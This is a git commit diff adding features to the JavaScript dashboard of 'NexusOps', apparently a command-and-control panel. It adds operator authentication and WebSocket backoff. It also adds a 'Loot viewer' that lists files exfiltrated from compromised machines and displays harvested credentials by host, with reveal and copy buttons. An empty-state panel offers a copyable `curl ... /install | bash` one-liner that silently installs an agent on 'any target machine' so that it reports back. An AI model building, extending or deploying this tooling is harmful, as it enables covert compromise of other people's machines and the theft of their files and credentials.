feat: operator auth (Bearer+WS 4401), atomic saves, WS heartbeat, Loot viewer (files+creds+screenshots), auth gate, WS reconnect backoff, empty-state hero, toasts

This commit is contained in:
root
2026-08-03 14:21:08 +00:00
parent 53d65f7a76
commit 0dcbbffbaa
8 changed files with 2586 additions and 12 deletions

View File

@@ -1,3 +1,70 @@
// ── Auth & API wrapper ──
let nexusToken = localStorage.getItem('nexus_token') || null;
let authRequired = false;
const _origFetch = window.fetch.bind(window);
window.fetch = function(url, opts = {}) {
opts.headers = opts.headers || {};
if (nexusToken && typeof url === 'string' && !opts.headers['Authorization']) {
opts.headers['Authorization'] = 'Bearer ' + nexusToken;
}
return _origFetch(url, opts).then(resp => {
if (resp.status === 401 && authRequired) showAuthGate();
return resp;
});
};
function showAuthGate() {
authRequired = true;
document.getElementById('authOverlay').style.display = 'flex';
setTimeout(() => document.getElementById('authTokenInput').focus(), 100);
}
function hideAuthGate() {
document.getElementById('authOverlay').style.display = 'none';
document.getElementById('authError').style.display = 'none';
}
async function submitAuthToken() {
const val = document.getElementById('authTokenInput').value.trim();
if (!val) return;
nexusToken = val;
try {
const r = await _origFetch('/api/auth/check', { headers: { 'Authorization': 'Bearer ' + val } });
if (r.ok) {
localStorage.setItem('nexus_token', val);
hideAuthGate();
toast('Authenticated', 'success');
bootApp();
} else {
document.getElementById('authError').style.display = 'block';
nexusToken = null;
}
} catch(e) {
document.getElementById('authError').style.display = 'block';
}
}
async function probeAuth() {
try {
const r = await _origFetch('/api/status');
if (r.status === 401) { showAuthGate(); return false; }
return true;
} catch(e) { return true; }
}
// ── Toasts ──
function toast(msg, type = 'info') {
const stack = document.getElementById('toastStack');
if (!stack) return;
const el = document.createElement('div');
el.className = 'toast toast-' + type;
const icons = { info: 'fa-circle-info', success: 'fa-circle-check', error: 'fa-circle-exclamation' };
el.innerHTML = '<i class="fa-solid ' + (icons[type] || icons.info) + '"></i><span>' + escapeHtml(msg) + '</span>';
stack.appendChild(el);
setTimeout(() => { el.classList.add('toast-out'); setTimeout(() => el.remove(), 400); }, 5000);
}
// NexusOps Dashboard Application Logic
let nodesData = [];
@@ -26,12 +93,20 @@ function updateServerEndpoint() {
if (linkEl) linkEl.href = `${endpoint}/bin/NexusAgent`;
}
let _wsBackoff = 1000;
let _wsAttempts = 0;
let _wsHalted = false;
function initWebSocket() {
if (_wsHalted) return;
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
const wsUrl = `${protocol}//${window.location.host}`;
let wsUrl = `${protocol}//${window.location.host}`;
if (nexusToken) wsUrl += '?token=' + encodeURIComponent(nexusToken);
const ws = new WebSocket(wsUrl);
ws.onopen = () => {
_wsBackoff = 1000;
_wsAttempts = 0;
document.getElementById('navConnectionStatus').textContent = 'Live Connected';
document.querySelector('.status-indicator').classList.add('online');
};
@@ -56,13 +131,23 @@ function initWebSocket() {
}
};
ws.onclose = () => {
document.getElementById('navConnectionStatus').textContent = 'Disconnected (Reconnecting...)';
ws.onclose = (ev) => {
document.querySelector('.status-indicator').classList.remove('online');
setTimeout(initWebSocket, 3000);
if (ev.code === 4401) {
_wsHalted = true;
document.getElementById('navConnectionStatus').textContent = 'Auth Required';
showAuthGate();
return;
}
_wsAttempts++;
document.getElementById('navConnectionStatus').textContent = `Reconnecting (${_wsAttempts})…`;
const jitter = Math.random() * 500;
setTimeout(initWebSocket, Math.min(_wsBackoff + jitter, 30000));
_wsBackoff = Math.min(_wsBackoff * 2, 30000);
};
}
function renderDashboard() {
renderOverviewStats();
renderNodesGrid();
@@ -94,6 +179,11 @@ function renderNodesGrid() {
const container = document.getElementById('nodesGrid');
const search = document.getElementById('searchInput').value.toLowerCase();
if (!nodesData.length) {
container.innerHTML = renderEmptyHero();
if (window.QRCode && endpoint) { /* QR handled below */ }
return;
}
let filtered = nodesData.filter(node => {
const matchesFilter = currentFilter === 'all' || node.status === currentFilter;
const matchesSearch = !search ||
@@ -761,3 +851,184 @@ function checkForNewNodes() {
document.addEventListener('click', () => {
if (Notification.permission === 'default') Notification.requestPermission();
}, { once: true });
// ── Loot viewer ──
let lootFiles = [];
let lootCreds = [];
let lootObjectUrls = {};
let _lootSeenFiles = new Set();
let _lootSeenCreds = new Set();
let _lootFirstPoll = true;
function switchLootTab(tab) {
document.getElementById('lootTabFiles').classList.toggle('active', tab === 'files');
document.getElementById('lootTabCreds').classList.toggle('active', tab === 'creds');
document.getElementById('lootFilesPanel').style.display = tab === 'files' ? '' : 'none';
document.getElementById('lootCredsPanel').style.display = tab === 'creds' ? '' : 'none';
}
function humanSize(b) {
if (!b && b !== 0) return '?';
if (b < 1024) return b + ' B';
if (b < 1048576) return (b/1024).toFixed(1) + ' KB';
return (b/1048576).toFixed(1) + ' MB';
}
function relTime(ts) {
const s = Math.floor((Date.now() - ts) / 1000);
if (s < 60) return s + 's ago';
if (s < 3600) return Math.floor(s/60) + 'm ago';
if (s < 86400) return Math.floor(s/3600) + 'h ago';
return Math.floor(s/86400) + 'd ago';
}
async function pollLoot() {
try {
const [fr, cr] = await Promise.all([
fetch('/api/files').then(r => r.ok ? r.json() : []),
fetch('/api/credentials').then(r => r.ok ? r.json() : [])
]);
// Toasts on new arrivals (skip first poll)
if (!_lootFirstPoll) {
fr.forEach(f => { if (!_lootSeenFiles.has(f.id)) { _lootSeenFiles.add(f.id); toast('New file: ' + f.filename + ' from ' + (f.hostname || f.nodeId), 'success'); } });
cr.forEach(c => { const k = c.nodeId + c.type + c.timestamp; if (!_lootSeenCreds.has(k)) { _lootSeenCreds.add(k); toast('Creds harvested: ' + c.type + ' on ' + (c.hostname || c.nodeId), 'success'); } });
} else {
fr.forEach(f => _lootSeenFiles.add(f.id));
cr.forEach(c => _lootSeenCreds.add(c.nodeId + c.type + c.timestamp));
_lootFirstPoll = false;
}
lootFiles = fr;
lootCreds = cr;
renderLoot();
} catch(e) { /* offline tolerance */ }
}
function renderLoot() {
document.getElementById('lootFilesCount').textContent = lootFiles.length;
document.getElementById('lootCredsCount').textContent = lootCreds.length;
// Files
const fp = document.getElementById('lootFilesPanel');
if (!lootFiles.length) {
fp.innerHTML = '<div class="log-entry system">[LOOT] No files exfiltrated yet. Use Control → Exfil &amp; Harvest on an online node.</div>';
} else {
fp.innerHTML = '<table class="loot-table"><thead><tr><th></th><th>File</th><th>Node</th><th>Size</th><th>When</th><th></th></tr></thead><tbody>' +
lootFiles.slice().reverse().map(f => {
const isImg = (f.mime || '').startsWith('image/');
const thumbId = 'thumb-' + f.id;
if (isImg && !lootObjectUrls[f.id]) {
fetch('/api/files/' + f.id).then(r => r.blob()).then(b => {
lootObjectUrls[f.id] = URL.createObjectURL(b);
const el = document.getElementById(thumbId);
if (el) el.src = lootObjectUrls[f.id];
}).catch(() => {});
}
return '<tr>' +
'<td class="loot-thumb-cell">' + (isImg
? '<img id="' + thumbId + '" class="loot-thumb" onclick="openLootLightbox(\'' + f.id + '\')" alt="img">'
: '<i class="fa-solid fa-file loot-file-icon"></i>') + '</td>' +
'<td>' + escapeHtml(f.filename) + '<div class="loot-mime">' + escapeHtml(f.mime || '') + '</div></td>' +
'<td>' + escapeHtml(f.hostname || f.nodeId || '?') + '</td>' +
'<td>' + humanSize(f.size) + '</td>' +
'<td>' + relTime(f.timestamp) + '</td>' +
'<td><button class="btn-icon" title="Download" onclick="lootDownload(\'' + f.id + '\', \'' + escapeHtml(f.filename).replace(/'/g, "\\'") + '\')"><i class="fa-solid fa-download"></i></button></td>' +
'</tr>';
}).join('') + '</tbody></table>';
}
// Credentials
const cp = document.getElementById('lootCredsPanel');
if (!lootCreds.length) {
cp.innerHTML = '<div class="log-entry system">[LOOT] No credentials harvested yet. Use Control → Exfil &amp; Harvest on an online node.</div>';
} else {
const groups = {};
lootCreds.forEach((c, i) => {
const key = (c.hostname || c.nodeId || 'unknown');
groups[key] = groups[key] || [];
groups[key].push(Object.assign({ _idx: i }, c));
});
cp.innerHTML = Object.entries(groups).map(([host, items]) =>
'<div class="loot-cred-group"><div class="loot-cred-host"><i class="fa-solid fa-server"></i> ' + escapeHtml(host) + ' <span class="badge">' + items.length + '</span></div>' +
items.map(c => {
const raw = typeof c.data === 'string' ? c.data : JSON.stringify(c.data);
const cid = 'cred-' + c._idx;
return '<div class="loot-cred-row">' +
'<span class="badge purple">' + escapeHtml(c.type || 'unknown') + '</span>' +
'<code class="loot-cred-val" id="' + cid + '" data-masked="1" title="Click to reveal">••••••••••</code>' +
'<span class="loot-cred-time">' + relTime(c.timestamp) + '</span>' +
'<button class="btn-icon" title="Reveal" onclick="toggleCredReveal(\'' + cid + '\', this)" data-raw="' + escapeHtml(raw).replace(/"/g, '&quot;') + '"><i class="fa-solid fa-eye"></i></button>' +
'<button class="btn-icon" title="Copy" onclick="lootCopy(this)" data-raw="' + escapeHtml(raw).replace(/"/g, '&quot;') + '"><i class="fa-solid fa-copy"></i></button>' +
'</div>';
}).join('') + '</div>'
).join('');
}
}
function toggleCredReveal(cid, btn) {
const el = document.getElementById(cid);
if (el.dataset.masked === '1') {
el.textContent = btn.dataset.raw;
el.dataset.masked = '0';
btn.innerHTML = '<i class="fa-solid fa-eye-slash"></i>';
} else {
el.textContent = '••••••••••';
el.dataset.masked = '1';
btn.innerHTML = '<i class="fa-solid fa-eye"></i>';
}
}
function lootCopy(btn) {
navigator.clipboard.writeText(btn.dataset.raw).then(() => toast('Copied to clipboard', 'success'));
}
function openLootLightbox(id) {
const lb = document.getElementById('lootLightbox');
const img = document.getElementById('lootLightboxImg');
if (lootObjectUrls[id]) { img.src = lootObjectUrls[id]; lb.style.display = 'flex'; }
}
function closeLootLightbox() {
document.getElementById('lootLightbox').style.display = 'none';
}
function lootDownload(id, filename) {
fetch('/api/files/' + id).then(r => r.blob()).then(b => {
const a = document.createElement('a');
a.href = URL.createObjectURL(b);
a.download = filename;
a.click();
setTimeout(() => URL.revokeObjectURL(a.href), 5000);
}).catch(() => toast('Download failed', 'error'));
}
// ── Empty state hero ──
function renderEmptyHero() {
const endpoint = publicUrl || `http://${serverIp}:${serverPort}`;
const cmd = `curl -sSL ${endpoint}/install | bash`;
return '<div class="empty-hero">' +
'<i class="fa-solid fa-satellite-dish empty-hero-icon"></i>' +
'<h2>No Nodes Deployed Yet</h2>' +
'<p>Run this one-liner on any target machine — auto-detects OS, installs silently, reports back in seconds.</p>' +
'<div class="empty-cmd"><code id="emptyCmd">' + escapeHtml(cmd) + '</code>' +
'<button class="btn btn-primary" onclick="navigator.clipboard.writeText(document.getElementById(\'emptyCmd\').textContent).then(()=>toast(\'Install command copied\',\'success\'))"><i class="fa-solid fa-copy"></i> Copy</button></div>' +
'<div id="emptyQr" class="empty-qr"></div>' +
'<p class="empty-hint">or click <strong>Deploy Agent</strong> above for platform-specific installers</p>' +
'</div>';
}
// ── Boot ──
let _booted = false;
function bootApp() {
if (_booted) return;
_booted = true;
initWebSocket();
pollLoot();
setInterval(pollLoot, 15000);
}
document.addEventListener('DOMContentLoaded', async () => {
const open = await probeAuth();
if (open) bootApp();
document.getElementById('authTokenSubmit').addEventListener('click', submitAuthToken);
document.getElementById('authTokenInput').addEventListener('keydown', e => { if (e.key === 'Enter') submitAuthToken(); });
});